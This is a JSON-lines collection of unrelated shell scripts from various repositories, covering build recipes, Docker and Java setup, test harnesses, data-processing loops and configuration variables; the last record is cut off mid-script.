{"text": "kenneds6/VCFingerprinting\n#!/bin/bash\n# apply BuFLO on original data\n# input: path, size(d), frequency(f), time(T)\n\nfor f in csv/*.csv; do\n python3 buflo.py \"$f\" 1500 50 100\ndone"} {"text": "go build -buildmode=plugin -o ../bubble_sort_plugin.so"} {"text": "corneliusroemer/bioconda-recipesrecipes/kinsimriboswitch/build.sh\n#!/bin/bash\n\n##############################################################################\n## Function definitions ##\n##############################################################################\n\n# Install a Perl distribution from a local source tarball.\n# Copied from conda skeleton cpan's build.sh + tar calls.\ninstall_perl_dist_tarball () {\n local dist_tarball=\"$1\"\n if [ ! -s \"$dist_tarball\" ]; then\n echo \"Distribution tarball '$dist_tarball' empty or non-existent.\"\n exit 1\n fi\n\n tar -xzf \"$dist_tarball\"\n cd \"${dist_tarball%.tar.gz}\"\n\n if [ -f Build.PL ]; then\n perl Build.PL\n perl ./Build\n perl ./Build test\n perl ./Build install --installdirs site\n elif [ -f Makefile.PL ]; then\n perl Makefile.PL INSTALLDIRS=site\n make\n make test\n make install\n else\n echo 'Unable to find Build.PL or Makefile.PL. You need to modify build.sh.'\n exit 1\n fi\n\n cd ..\n}\n\ninstall_bins () {\n cp \"$@\" \"$PREFIX/bin/\"\n}\n\n##############################################################################\n## Main ##\n##############################################################################\n\nmkdir -p \"$PREFIX/bin\"\nmkdir -p \"$PREFIX/lib\"\n\n# Install binaries\ninstall_bins \"$SRC_DIR\"/bin/*\n\n# Install patched barriers\ntar -xzf 'Barriers-1.5.2.tar.gz'\ncd 'Barriers-1.5.2'\n./configure\nmake\nmake check\ninstall_bins 'barriers-RNA2'\ncd ..\n\n# Install patched Heap::Priority from local file\ninstall_perl_dist_tarball 'Heap-Priority-0.11-mod.tar.gz'\n\n# Install distribution-less Perl module RNAhelper.pm\nmkdir -p \"$PREFIX/lib/perl5_custom\"\n# Make sure this path is added to PERL5LIB in activate script!\ncp \"$SRC_DIR\"/lib/perl5/* \"$PREFIX/lib/perl5_custom/\"\n\n# Deploy activation / deactivation scripts\nmkdir -p \"$PREFIX/etc/conda/activate.d\"\ncp \"$RECIPE_DIR/activate.sh\" \"$PREFIX/etc/conda/activate.d/$PKG_NAME-setenv.sh\"\nmkdir -p \"$PREFIX/etc/conda/deactivate.d\"\ncp \"$RECIPE_DIR/deactivate.sh\" \"$PREFIX/etc/conda/deactivate.d/$PKG_NAME-restoreenv.sh\"\n\n# Run tests\nsource \"$RECIPE_DIR/activate.sh\" # make sure custom Perl modules are found\n# make test # TODO enable\nsource \"$RECIPE_DIR/deactivate.sh\" # make sure custom Perl modules are found\n\n# EOF"} {"text": "#!/bin/sh\ndocker rmi fpm:fricas\ndocker build -t fpm:fricas . > log\ntail log\ndocker images"} {"text": "#!/bin/bash\nv4l2-ctl -d /dev/video2 --set-ctrl=focus_auto=0\nv4l2-ctl -d /dev/video2 --set-ctrl=saturation=130\nv4l2-ctl -d /dev/video2 --set-ctrl=brightness=130\nv4l2-ctl -d /dev/video2 --set-ctrl=sharpness=150\nv4l2-ctl -d /dev/video2 --set-ctrl=focus_absolute=0\nv4l2-ctl -d /dev/video2 --set-ctrl=gain=200\nv4l2-ctl -d /dev/video2 --set-ctrl=exposure_auto=1\nv4l2-ctl -d /dev/video2 --set-ctrl=exposure_absolute=650\nv4l2-ctl -d /dev/video2 --set-ctrl=zoom_absolute=110\nv4l2-ctl -d /dev/video2 --set-ctrl=pan_absolute=10800\nv4l2-ctl -d /dev/video2 --set-ctrl=tilt_absolute=-32400\nv4l2-ctl -d /dev/video2 --set-ctrl=backlight_compensation=0\nv4l2-ctl -d /dev/video2 --set-ctrl=white_balance_temperature_auto=0\nv4l2-ctl -d /dev/video2 --set-ctrl=white_balance_temperature=4000"} {"text": "#! /bin/sh\n# Copyright (C) 2012-2017 Free Software Foundation, Inc.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2, or (at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\n# Check that the aclocal honouring of AC_CONFIG_MACRO_DIR interacts\n# nicely with automatic rebuild rules.\n\n. test-init.sh\n\ncat >> configure.ac <<'END'\nAC_CONFIG_MACRO_DIR([macro-dir])\nmy__FOO || AS_EXIT([1])\nAC_OUTPUT\nEND\n\n: > Makefile.am\n\nmkdir macro-dir\ncat > macro-dir/foo.m4 <<'END'\nAC_DEFUN([my__FOO], [: > bar])\nEND\n\n$ACLOCAL\n$AUTOCONF\n$AUTOMAKE\n\n$FGREP my__FOO configure && exit 1\n\n./configure\ntest -f bar\nrm -f bar\n\n$sleep\n\ncat > macro-dir/foo.m4 <<'END'\nAC_DEFUN([my__FOO], [: > baz])\nEND\n\n$MAKE Makefile\ntest -f baz\ntest ! -r bar\nrm -f baz\n\n$sleep\n\nrm -f macro-dir/foo.m4\ncat > macro-dir/quux.m4 <<'END'\nAC_DEFUN([my__FOO], [: > quux])\nEND\n\n$MAKE Makefile\ntest -f quux\ntest ! -r baz\nrm -f quux\n\n$sleep\n\nsed 's/^AC_CONFIG_MACRO_DIR/&([newdir])/' configure.ac > t\nmv -f t configure.ac\n\nmkdir newdir\ncat > newdir/mu.m4 <<'END'\nAC_DEFUN([my__FOO], [[: my__FOO do nothing]])\nEND\n\n$MAKE Makefile\n$FGREP ': my__FOO do nothing' configure\n\n$MAKE distcheck\n\n:"} {"text": "#!/bin/bash\n\n# This file is just a reminder for most curl syntax\n\n# ---- FindAll GET ROUTES\ncurl -i -X GET localhost:8080/rooms\ncurl -i -X GET localhost:8080/subjects\ncurl -i -X GET localhost:8080/supervisors\n\n\n# ---- FindBy GET ROUTES (Url parameters)\n\n# -- ROOMS FindById with url parameter\nprintf \"\\n##################################################\\n\"\ncurl -i -X GET localhost:8080/rooms/id/42 # Does not exist\ncurl -i -X GET localhost:8080/rooms/id/5063114bd386d8fadbd6b00a # Exists\n\n# -- TEST SUBJECTS FindById with url parameter\nprintf \"\\n##################################################\\n\"\ncurl -i -X GET localhost:8080/subjects/id/42 # Does not exist\ncurl -i -X GET localhost:8080/subjects/id/5063114bd386d8fadbd6b00d # Exists\n\n# -- TEST SUPERVISORS FindById with url parameter\nprintf \"\\n##################################################\\n\"\ncurl -i -X GET localhost:8080/supervisors/id/42 # Does not exist\ncurl -i -X GET localhost:8080/supervisors/id/5063114bd386d8fadbd6b004 # Does not exist\n\n\n# ---- Other findBy routes\n\n# -- ROOM FindByName\nprintf \"\\n##################################################\\n\"\ncurl -i -X POST localhost:8080/rooms/name --data \"name=Test\" # Does not exist\ncurl -i -X POST localhost:8080/rooms/name --data \"name=Paths\" # Exists\ncurl -i -X POST localhost:8080/rooms/name --data \"name=Answer to life room\" # Exists\n\n# -- TestSubjects FindByName\nprintf \"\\n##################################################\\n\"\ncurl -i -X POST localhost:8080/subjects/name --data \"name=42\" # Does not exist\ncurl -i -X POST localhost:8080/subjects/name --data \"name=Caroline\" # Exists\n\n# -- TestSupervisors FindByLogin\nprintf \"\\n##################################################\\n\"\ncurl -i -X POST localhost:8080/supervisors/login --data \"login=42\" # Does not exist\ncurl -i -X POST localhost:8080/supervisors/login --data \"login=\" # Exists"} {"text": "100-1000\n#!/bin/sh\n\n# This wraps buildkitd and allows the container to exit gracefully with exit code 0,\n# so that the Kubernetes Job is recognized as successful and doesn't get retried\n\nrootlesskit buildkitd \"$@\"\n\nexit 0"} {"text": "didriklundberg/HolBA\n#!/usr/bin/env bash\n\n# exit immediately if an error happens\nset -e\n\nOPT_DIR_PARAM=$1\n\n# get setup directory path\nSETUP_DIR=$(dirname \"${BASH_SOURCE[0]}\")\nSETUP_DIR=$(readlink -f \"${SETUP_DIR}\")\n\n# find the environment variables\nset --\nsource \"${SETUP_DIR}/env_config_gen.sh\" \"${OPT_DIR_PARAM}\"\n\n##################################################################\n\n# embexp git urls\nGIT_URL_HTTPS=https://github.com/kth-step/EmbExp-Logs.git\nGIT_URL_SSH=:kth-step/EmbExp-Logs.git\n\nLOGS_DIR=${HOLBA_LOGS_DIR}/EmbExp-Logs\n\n##################################################################\n\n# if the output directory exists, we already have a embexp-logs\nif [[ -d \"${LOGS_DIR}\" ]]; then\n echo \"embexp-logs is already available in the holba_logs directory\"\n exit 0\nelse\n echo \"embexp-logs is not in holba_logs, downloading it now.\"\nfi\n\n\ncd \"${HOLBA_LOGS_DIR}\"\n\necho \"Do you want to clone with public key authentication?\"\nselect yn in \"Yes\" \"No\"; do\n case $yn in\n Yes ) git clone \"${GIT_URL_SSH}\"; break;;\n No ) git clone \"${GIT_URL_HTTPS}\"; break;;\n esac\ndone"} {"text": "fjfd/microscope\n#!/bin/sh\n# Small script to setup the HBase tables used by OpenTSDB.\n\ntest -n \"$HBASE_HOME\" || {\n echo >&2 'The environment variable HBASE_HOME must be set'\n exit 1\n}\ntest -d \"$HBASE_HOME\" || {\n echo >&2 \"No such directory: HBASE_HOME=$HBASE_HOME\"\n exit 1\n}\n\nTSDB_TABLE=${TSDB_TABLE-'tsdb'}\nUID_TABLE=${UID_TABLE-'tsdb-uid'}\nBLOOMFILTER=${BLOOMFILTER-'ROW'}\n# LZO requires lzo2 64bit to be installed + the hadoop-gpl-compression jar.\nCOMPRESSION=${COMPRESSION-'LZO'}\n# All compression codec names are upper case (NONE, LZO, SNAPPY, etc).\nCOMPRESSION=`echo \"$COMPRESSION\" | tr a-z A-Z`\n\ncase $COMPRESSION in\n (NONE|LZO|GZIP|SNAPPY) :;; # Known good.\n (*)\n echo >&2 \"warning: compression codec '$COMPRESSION' might not be supported.\"\n ;;\nesac\n\n# HBase scripts also use a variable named `HBASE_HOME', and having this\n# variable in the environment with a value somewhat different from what\n# they expect can confuse them in some cases. So rename the variable.\nhbh=$HBASE_HOME\nunset HBASE_HOME\nexec \"$hbh/bin/hbase\" shell < 'id', COMPRESSION => '$COMPRESSION'},\n {NAME => 'name', COMPRESSION => '$COMPRESSION'}\n\ncreate '$TSDB_TABLE',\n {NAME => 't', VERSIONS => 1, COMPRESSION => '$COMPRESSION', BLOOMFILTER => '$BLOOMFILTER'}\nEOF"} {"text": "#!/bin/bash\nset -e\necho \"$QUAY_BOT_PASSWORD\" | docker login -u \"$QUAY_BOT_USERNAME\" --password-stdin quay.io\n\nfor img in \"$@\"; do\n if [ -z \"${TRAVIS_TAG}\" ]; then\n docker push ${img}:${TRAVIS_BRANCH}\n else\n docker tag ${img}:${TRAVIS_BRANCH} ${img}:${TRAVIS_TAG}\n docker tag ${img}:${TRAVIS_BRANCH} ${img}:latest\n docker push ${img}:${TRAVIS_TAG}\n docker push ${img}:latest\n fi\ndone\n\ndocker logout quay.io"} {"text": "seraekim/srkim-lang-sh\nWORK_DIR=/var/tmp/myapp/\n\nnowtime(){\n date +%X\n}"} {"text": "#!/bin/bash\n\nmodule load cray-mvapich2_noslurm/2.3.5\nmodule load boost/1.73.0/gcc-10.2\nmodule load gcc/9.3.0\nmodule load cuda11.2/toolkit/11.2.0\n\nexport PATH=$PWD/llvm-install/bin:$PATH:$PWD/hipsycl-scoped/bin\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$PWD/llvm-install/lib\n#export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$PWD/llvm-install/lib:$PWD/hipsycl-scoped/lib\n#export LIBRARY_PATH=$LIBRARY_PATH:$PWD/llvm-install/lib:$PWD/hipsycl-scoped/lib\n\nrm -f dgemm_gpu\nsyclcc -g -O3 -std=c++17 --gcc-toolchain=/lustre/projects/bristol/modules/gcc/9.3.0 dgemm.cpp -o dgemm_gpu --hipsycl-targets=\"cuda:sm_70\" --cuda-path=/cm/shared/apps/cuda11.2/toolkit/11.2.0\n\n\nexport HIPSYCL_VISIBILITY_MASK=cuda\nfor i in $(seq 10 12); do\n N=$((2**$i))\n echo $N\n\n for j in {1..5}; do\n LD_PRELOAD=/cm/local/apps/cuda/libs/current/lib64/libcuda.so.1:/lustre/projects/bristol/modules/gcc/9.3.0/lib64/libstdc++.so ./dgemm_gpu $N $N $N\n done\ndone"} {"text": "#!/usr/bin/env bash\n\nfile=\"$1\"\n\nif [[ -r \"$file\" ]]; then\n while IFS= read -r line; do\n echo \"$line\"\n done <\"$file\"\nelse\n while IFS= read -r line; do\n echo \"$line\"\n done\nfi"} {"text": "data_analytics/create_learning_curves.sh\n#!/bin/bash\n# top 25 stop pairs by num_rows\ndeclare -a arr=(\"1444_to_1445\" \"1478_to_1479\" \"619_to_675\" \"618_to_619\" \"616_to_617\" \"617_to_618\" \"614_to_615\" \"615_to_616\" \"516_to_4384\" \"7659_to_523\" \"522_to_7659\" \"519_to_521\" \"521_to_522\" \"4384_to_519\" \"51_to_52\" \"515_to_516\" \"7453_to_1478\" \"1479_to_315\" \"49_to_51\" \"1476_to_7453\" \"1020_to_1076\" \"1019_to_1020\" \"1018_to_1019\" \"1016_to_1017\" \"1017_to_1018\")\n\n# now loop through the above array\nfor i in \"${arr[@]}\"\ndo\n\techo \"$i\"\n\tpython -u -m models.run_model linear-regression learning-curve \"$i\"\ndone"} {"text": "1000+\n#!/bin/bash \n\nset -euo pipefail\n\nVERSION=\"$(jq -r '.info.version' openapi-specs/schema.json)\"\nLANGUAGES=\"en nl de cs it\"\nIMAGE_BASE=\"semitechnologies/weaviate:\"\nMSG=${1:\"\"}\nREQUIRED_TOOLS=\"jq git\"\n\nfor tool in $REQUIRED_TOOLS; do\n if ! hash \"$tool\" 2>/dev/null; then\n echo \"This script requires '$tool', but it is not installed.\"\n exit 1\n fi\ndone\n\nif git rev-parse \"v$VERSION\" >/dev/null 2>&1; then\n echo \"Cannot prepare relese, a release for v$VERSION already exists\"\n exit 1\nfi\n\ntools/gen-code-from-swagger.sh\n\ngit commit -a -m \"prepare release v$VERSION\"\n\ngit tag -a \"v$VERSION\" -m \"release v$VERSION - $MSG\"\n\necho \"You can use the following template for the release notes, copy/paste below the line\"\necho \"----------------------------\"\nVERSION=\"$VERSION\" LANGUAGES=\"$LANGUAGES\" go run ./tools/release_template"} {"text": "tools/run_cargo_fmt.sh\n#!/usr/bin/env bash\n\n# Peg a rustfmt version while things are unstable\n#\n# Note: We install a local copy of rustfmt so as not to interfere with any\n# other use of rustfmt on the machine\nRUSTFMT_VERSION=0.7.1\n\n\n# Verify that we're running in the base directory\nif [ ! -x tools/run_cargo_fmt.sh ]; then\n\techo ERROR: $0 must be run from the tock repository root.\n\techo \"\"\n\texit 1\nfi\n\n# CI setup has correct rustfmt install globally already\nif [ ! \"$CI\" == \"true\" ]; then\n\t# Check to make sure that cargo format is installed\n\tif [ ! -x tools/local_cargo/bin/rustfmt ]; then\n\t\techo \"INFO: rustfmt v$RUSTFMT_VERSION not installed. Installing.\"\n\t\techo \"(This will take a few minutes)\"\n\t\techo \"\"\n\t\tmkdir -p tools/local_cargo\n\t\tcargo install --root tools/local_cargo --vers $RUSTFMT_VERSION --force rustfmt\n\tfi\n\t# Put local cargo format on PATH\n\tPATH=\"$(pwd)/tools/local_cargo/bin:$PATH\"\nfi\n\n# Find folders with Cargo.toml files in them and run `cargo fmt`.\nif [ \"$1\" == \"diff\" ]; then\n\t# Just print out diffs and count errors, used by Travis\n\tlet FAIL=0\n\tfor f in $(find . | grep Cargo.toml); do\n\t\tpushd $(dirname $f) > /dev/null\n\t\tcargo-fmt -- --write-mode=diff || let FAIL=FAIL+1\n\t\tpopd > /dev/null\n\tdone\n\texit $FAIL\nelse\n\tfor f in $(find . | grep Cargo.toml); do\n\t\tpushd $(dirname $f) > /dev/null\n\t\tcargo-fmt -- --write-mode=overwrite\n\t\tpopd > /dev/null\n\tdone\nfi"} {"text": "#!/bin/bash\n# Script to automatically deploy the execution environment \n\n# Initial Version 1.0\n\n# fix sudo command: https://askubuntu.com/questions/59458/error-message-sudo-unable-to-resolve-host-user\n\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\nsudo add-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable\"\nsudo apt-get update\n\n# install docker\nsudo apt-get install -y docker-ce\n\n\n# all setup, docker is running, pull cassandra from docker hub\nsudo docker pull cassandra\n\n# run cassandra\nsudo docker run cassandra\n\n\n# running a docker container\nsudo docker container start [containerName]\n\n# get into the container\nsudo docker exec -it [container_name or container_id] bash\n\n# in the container\napt-get update\n\n# configure the cassandra\n\n\n apt-get install curl\n\t \t# obtain the ycsb\n \tcurl -O --location https://github.com/brianfrankcooper/YCSB/releases/download/0.12.0/ycsb-0.12.0.tar.gz\n\t\ttar xfvz ycsb-0.12.0.tar.gz\n rm ycsb-0.12.0.tar.gz\n\t\tcd ycsb-0.12.0\n # run ycsb\n ./bin/ycsb\n\n # create a cassandra table: run cassandra query language\n cqlsh\n # create keyspace, table, data with cassandra\n > create keyspace testKeyspace with replication = {'class':'SimpleStrategy','replication_factor': 3} ;\n >create table test (testUsr text, testpass text, primary key(testUsr));\n >insert into test (testUsr,testpass) values ('xcao','');\n # to use ycsb to against cassandra to test performance, create the ycsb keyspaces;\n https://github.com/brianfrankcooper/YCSB/tree/master/cassandra\n //cqlsh> create keyspace ycsb\n WITH REPLICATION = {'class' : 'SimpleStrategy', 'replication_factor': 3 };\n cqlsh> USE ycsb;\n cqlsh> create table usertable (\n y_id varchar primary key,\n field0 varchar,\n field1 varchar,\n field2 varchar,\n field3 varchar,\n field4 varchar,\n field5 varchar,\n field6 varchar,\n field7 varchar,\n field8 varchar,\n field9 varchar);\n\n\n\n\n # cassandra configuration file is in cassandra.yaml\n cd /etc/cassandra/cassandra.yaml\n # http://docs.datastax.com/en/cassandra/2.1/cassandra/configuration/configCassandra_yaml_r.html#configCassandra_yaml_r__PerformanceTuningProps\n # this contain the main factors that could optimize the performance of cassandra\n\n# save the progress\n\necho \"Installation complete.\"\nexit 1"} {"text": "cp -r /opt/ga_chp_bq /opt/code\ncd /opt/code\ngit pull\npython /opt/code/prediction/model_serving/model_serving_endpoint.py"} {"text": "xdd-7.0.0.rc-ramses3/tests/other/filetruncate1.sh1-10\n#!/bin/sh\n#\n# Acceptance test for XDD.\n#\n# Check file truncation at destination using xddcp\n#\n\n# Parameters\nxdd=xdd\nxddcp=xddcp\nlog_file=filetruncate1.log\ndata_file=/data/xfs/${USER}/file\ncorrect_size=1234567891\nHDestin=pod10\nHDestinIP=192.168.1.5\n#end Parameters\n\n rm -f $data_file\nssh ${HDestin} rm -f $data_file\n\n#create source file\n$xdd -op write -datapattern random -bytes $correct_size -targets 1 ${data_file} > ${log_file} 2>&1\n#(echo -n MD5SUM=;md5sum ${data_file} ) >> ${log_file} 2>&1\n#create destination file 2 x source file size\nlet \"nbytes2 = $correct_size * 2\"\nssh pod10 $xdd -op write -datapattern random -bytes $nbytes2 -targets 1 ${data_file} > ${log_file} 2>&1\n\n$xddcp ${data_file} ${HDestinIP}:${data_file}\n\n# Validate output\n\n ls -sh ${data_file} > filetruncate.size.src\nssh ${HDestin} \"(ls -sh ${data_file} )\" > filetruncate.size.dst\n\ntest_passes=1\ndiff filetruncate.size.src filetruncate.size.dst \n if [ $? -ne 0 ]; then\n test_passes=0\n echo \"Incorrect file size for ${HDestin}:${data_file}.\"\n fi\n\n# Perform post-test cleanup\n rm -f $data_file\nssh ${HDestin} rm -f $data_file\n rm filetruncate.size.*\n\n# Output test result\nif [ \"1\" == \"$test_passes\" ]; then\n echo \"Acceptance Test - filetruncate1: PASSED.\"\nelse\n echo \"Acceptance Test - filetruncate1: FAILED.\"\nfi"} {"text": "#!/bin/bash\nscript_dir=\"$(dirname $0)\"\n# . \"${script_dir}/functions\"\nPATH=$PATH:/usr/local/bin\ncontrol_repo=${1:-\"https://github.com/example42/psick.git\"}\n\necho \"Installing prerequisite packages and gems\"\npuppet resource package git ensure=present\n\nif [ $(facter osfamily) == 'Debian' ]; then\n puppet resource package ruby ensure=present\nelse\n puppet resource package rubygems ensure=present\nfi\n\npuppet resource package deep_merge ensure=present provider=gem\npuppet resource package hiera-eyaml ensure=present provider=gem\npuppet resource package r10k ensure=present provider=gem\n\nmkdir -p /etc/puppetlabs/code/environments/\nmkdir -p /etc/puppetlabs/r10k/\ncat > /etc/puppetlabs/r10k/r10k.yaml << EOF\n---\n:postrun: []\n:cachedir: /opt/puppetlabs/puppet/cache/r10k\n:sources:\n puppet:\n basedir: /etc/puppetlabs/code/environments\n remote: $control_repo\nEOF\n\necho \"Running r10k deploy environment -v\"\nr10k deploy environment -v"} {"text": "#! /bin/bash\n\ncat manual/charite_all_sources_gene_to_pheno.tsv | cut -f 1,2 | sort | uniq > data/charite_supervision_ensgene.tsv\ncat manual/charite_all_sources_gene_to_disease_to_pheno.tsv | awk '{OFS=\"\\t\"; print $3, $2}' | sort | uniq >> data/charite_supervision_ensgene.tsv\njoin -1 2 -2 2 -t $'\\t' \\\n <(cat manual/charite_all_sources_gene_to_disease_to_pheno.tsv | \n cut -f 2,3 | sort | uniq | sort -k2,2) \\\n <(cat manual/phenotypic_series_to_omim.tsv | \n sort | uniq | sort -k2,2) |\n awk '{OFS=\"\\t\"; print $3, $2}' | sort | uniq >> data/charite_supervision_ensgene.tsv\njoin -1 2 -2 1 -t $'\\t' \\\n <(cat data/charite_supervision_ensgene.tsv | sort -k2,2) \\\n <(cat data/ensembl_genes.tsv | \n grep 'CANONICAL' | \n awk -F '[:\\t]' '{OFS=\"\\t\"; print $1, $2, $3, $4}' | \n cut -f 1,3 | sort -k1,1) | \n awk '{OFS=\"\\t\"; print $2, $3}' |\n sort | uniq > manual/charite_supervision.tsv"} {"text": "#!/usr/bin/env bash\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" &> /dev/null && pwd )\"\necho $DIR\nset -e\n\necho \"::group::Simple test\"\n$DIR/simple/test.sh\necho \"::endgroup::\"\necho\n\necho \"::group::OOM test\"\n$DIR/oom/test.sh \necho \"::endgroup::\"\necho\n\necho \"::group::Server test\"\nbash $DIR/server/test.sh\necho \"::endgroup::\"\necho\n\necho \"::group::Reload test\"\nbash $DIR/reload/test.sh\necho \"::endgroup::\"\necho"} {"text": "1-10\n#!/bin/bash\nset -ex\n\nNow=$(($(date +%s%N)/1000000))\nPrevNow=$(($Now-500))\nSwitchFile=\"/tmp/switch_hjkl\"\nSpeedFile=\"/dev/shm/sxhkd_mouse_speed\"\n\n# ensue file exists\ntouch $SwitchFile\ntouch $SpeedFile\n\nAction=$1\n\nshift\n\nif [ -e \"$SwitchFile\" ] && [ \"$(cat ${SwitchFile})\" = \"1\" ]; then\n echo $(($(date +%s%N)/1000000)) >> $SpeedFile\n echo \"$(tail -10 $SpeedFile)\" > $SpeedFile\n\n Count=0\n while read -r line; do\n if [[ $line -ge $PrevNow && $line -le $Now ]]; then\n Count=$(($Count+1))\n fi\n done < $SpeedFile\n\n echo $Count >> /tmp/fuck\n\n Speed=$((8+$Count*6))\n\n\tcase \"$Action\" in\n\tmove_left) xdotool mousemove_relative -- -${Speed} 0 ;;\n\tmove_right) xdotool mousemove_relative ${Speed} 0 ;;\n\tmove_up) xdotool mousemove_relative -- 0 -${Speed} ;;\n\tmove_down) xdotool mousemove_relative 0 ${Speed} ;;\n\tswitch)\n\t\techo 0 >${SwitchFile}\n\t\tnotify-send \"Switch hjkl\" \"switch to window move mode\" -t 2000\n\t\t;;\n\t*)\n\t\techo \"Invalid Action\"\n\t\t;;\n\tesac\n\nelse\n\tcase \"$Action\" in\n\tmove_left) bspc node -v -20 0 ;;\n\tmove_right) bspc node -v 20 0 ;;\n\tmove_up) bspc node -v 0, -20 ;;\n\tmove_down) bspc node -v 0, 20 ;;\n\tswitch)\n\t\techo 1 >${SwitchFile}\n\t\tnotify-send \"Switch hjkl\" \"switch to mouse move mode\" -t 2000\n\t\t;;\n\t*)\n\t\techo \"Invalid Action\"\n\t\t;;\n\tesac\n\nfi"} {"text": "felipetavaresmelo/ubuntu-setupcode-languagens/java/install-java.sh\n#!/bin/sh\n\nsudo apt-get update\nsudo apt-get dist-upgrade\nsudo apt autoremove\n\n\nwget -P $HOME/Downloads https://download.oracle.com/otn/java/jdk/7u80-b15/jdk-7u80-linux-x64.tar.gz\ntar -xvzf $HOME/Downloads/jdk-7u80-linux-x64.tar.gz -C $HOME/apps\n\n\nsudo apt-get install openjdk-8-jdk-headless -y -V\n\nsudo apt-get install openjdk-11-jdk-headless -y -V\n\nsudo apt-get install openjdk-17-jdk-headless -y -V\n\n\n# sudo update-alternatives --config java\n\nsudo update-java-alternatives -s /home/felipetavares/apps/jdk1.7.0_80\n\nsudo update-java-alternatives -s java-1.8.0-openjdk-amd64\n\nsudo update-java-alternatives -s java-1.11.0-openjdk-amd64\n\nsudo update-java-alternatives -s java-1.17.0-openjdk-amd64\n\n# maven install\n\nsudo apt-get -y install maven"} {"text": "/Applications/RetroArch.app/Contents/MacOS/RetroArch -L /Applications/RetroArch.app/Contents/Resources/cores/picodrive_libretro.dylib out/rom.bin"} {"text": "0\n#!/usr/bin/env bash\n\n# Localização da pasta que conterá as informações registradas na aplicação\n[ -z \"$LMG_DATA_FOLDER\" ] && LMG_DATA_FOLDER=$DIRNAME/.lmg\n\n# Nome da pasta que conterá a lista de tarefas\n[ -z \"$LMG_TASK_FOLDER\" ] && LMG_TASK_FOLDER=task\n\n# Nome da pasta que conterá a lista de tarefas que foram executadas\n[ -z \"$LMG_TASK_RUNNER_FOLDER\" ] && LMG_TASK_RUNNER_FOLDER=task-runner\n\n# Nome do arquivo que conterá a versão do task runner\n[ -z \"$LMG_TASK_RUNNER_VERSION_FILENAME\" ] && LMG_TASK_RUNNER_VERSION_FILENAME=\"task-version\"\n\n# Nome do script em task_runner copiado do scripto de task\n[ -z \"$LMG_TASK_RUNNER_COMMAND_FILENAME\" ] && LMG_TASK_RUNNER_COMMAND_FILENAME=\"command.sh\"\n\n# Nome do script executável para executar a tarefa do tipo \"script\"\n[ -z \"$LMG_TASK_SCRIPT_NAME_UP\" ] && LMG_TASK_SCRIPT_NAME_UP=\"task-up.sh\"\n\n# Nome do script executável para executar a tarefa do tipo \"script\"\n[ -z \"$LMG_TASK_SCRIPT_NAME_DOWN\" ] && LMG_TASK_SCRIPT_NAME_DOWN=\"task-down.sh\"\n\n# Nome do arquivo que contém o conteúdo da tarefa do tipo \"info\"\n[ -z \"$LMG_TASK_INFO_NAME_UP\" ] && LMG_TASK_INFO_NAME_UP=\"task-up.md\"\n\n# Nome do arquivo que contém o conteúdo para reverter a tarefa do tipo \"info\"\n[ -z \"$LMG_TASK_INFO_NAME_DOWN\" ] && LMG_TASK_INFO_NAME_DOWN=\"task-down.md\"\n\n# Nome do programa para visualizar o conteúdo da tarefa do tipo \"info\"\n[ -z \"$LMG_TASK_INFO_VIEWER\" ] && LMG_TASK_INFO_VIEWER=\"cat\"\n\n# Nome do arquivo que conterá o nome do tipo da tarefa\n[ -z \"$LMG_TASK_TYPE_FILENAME\" ] && LMG_TASK_TYPE_FILENAME=\"task-type\"\n\n# Nome do arquivo que conterá o nome da tarefa\n[ -z \"$LMG_TASK_NAME_FILENAME\" ] && LMG_TASK_NAME_FILENAME=\"task-name\"\n\n# Nome do arquivo que conterá a mensagem da tarefa\n[ -z \"$LMG_TASK_MESSAGE_FILENAME\" ] && LMG_TASK_MESSAGE_FILENAME=\"task-message\"\n\n# CÓDIGOS DE ERRO DO SCRIPT (90-119)\nLMG_ERR_UNEXPECTED=90\n## INVALID (9X)\nLMG_ERR_INVALID_ARG=91\nLMG_ERR_INVALID_TASK_TYPE=92\nLMG_ERR_INVALID_TASK_ARG=93\n## REQUIRE (10X)\nLMG_ERR_REQUIRE_TASK_NAME=100\nLMG_ERR_REQUIRE_TASK_SCRIPT_CONTENT=101\nLMG_ERR_REQUIRE_TASK_INFO_CONTENT=102\n\n# CORES\nLMG_RED=\"\\e[31;1m\"\nLMG_END_COLOR=\"\\e[m\"\n\n# TEMAS\n[ -z \"$LMG_ERROR_THEME\" ] && LMG_ERROR_THEME=\"$LMG_RED\""} {"text": "WORKSHOP_NAME=lab-asciidoc-sample\nWORKSHOP_IMAGE=quay.io/openshifthomeroom/lab-asciidoc-sample:1.10\nWORKSHOP_TITLE=\"AsciiDoc Sample\"\nWORKSHOP_DESCRIPTION=\"A sample workshop using AsciiDoc\"\nRESOURCE_BUDGET=medium\nMAX_SESSION_AGE=3600\nIDLE_TIMEOUT=300"} {"text": "mobile/examples/basic_usage/model/gen_model.sh\n#!/bin/bash\n\nset -e\n\nOUTPUT_DIR=${1:?\"Please specify an output directory.\"}\n\n# Get directory this script is in\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nmkdir -p ${OUTPUT_DIR}\ncd ${OUTPUT_DIR}\n\npython3 ${DIR}/single_add_gen.py\npython3 -m onnxruntime.tools.convert_onnx_models_to_ort ."} {"text": "#-------------------------------------------------------------------------------\n# Copyright 2017 Cognizant Technology Solutions\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy\n# of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n#-------------------------------------------------------------------------------\n# Turn on a case-insensitive matching (-s set nocasematch)\nopt=$1\naction=$2\necho \"$opt\"\ncase $opt in\n [lL][Ii][nN][uU][Xx])\n case $action in \n 